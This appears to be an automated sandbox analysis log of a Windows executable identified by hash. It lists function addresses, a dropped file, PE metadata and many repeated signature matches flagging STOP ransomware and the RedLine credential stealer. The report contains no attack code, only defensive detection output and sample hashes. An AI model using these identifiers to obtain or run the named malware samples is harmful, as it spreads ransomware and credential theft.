Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_00409CF9	9_2_00409CF9
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0044ACFF	9_2_0044ACFF
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0040DD40	9_2_0040DD40
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_00427D6C	9_2_00427D6C
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050CD60	9_2_0050CD60
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0040BDC0	9_2_0040BDC0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050CDF0	9_2_0050CDF0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_00409DFA	9_2_00409DFA
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050CE58	9_2_0050CE58
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0042CE51	9_2_0042CE51
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_00406EE0	9_2_00406EE0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_00409F76	9_2_00409F76
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_00420F30	9_2_00420F30
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050CF28	9_2_0050CF28
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050CFC0	9_2_0050CFC0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_00449FE3	9_2_00449FE3
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050CF90	9_2_0050CF90

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\VOsoyD.exe 4485DF22C627FA0BB899D79AA6FF29BC5BE1DBC3CAA2B7A490809338D54B7794

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 02300160 appears 50 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 00428C81 appears 79 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 00420EC2 appears 40 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 022F8EC0 appears 57 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 00410390 appears 99 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 02320160 appears 50 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 004547A0 appears 108 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 0040DA30 appears 137 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 00422587 appears 48 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 02318EC0 appears 57 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 0042F7C0 appears 172 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 0044F23E appears 108 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 00428520 appears 144 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 00425007 appears 32 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 00450870 appears 52 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 00454E50 appears 77 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 00441A25 appears 44 times
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: String function: 0044F26C appears 41 times

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5908 -s 1608

Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: MyProg.exe.1.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.3.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79

Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000000.00000002.2035582084.00000000006A3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000E.00000002.2165690600.0000000002162000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.2081428261.000000000225D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000B.00000002.2094534233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
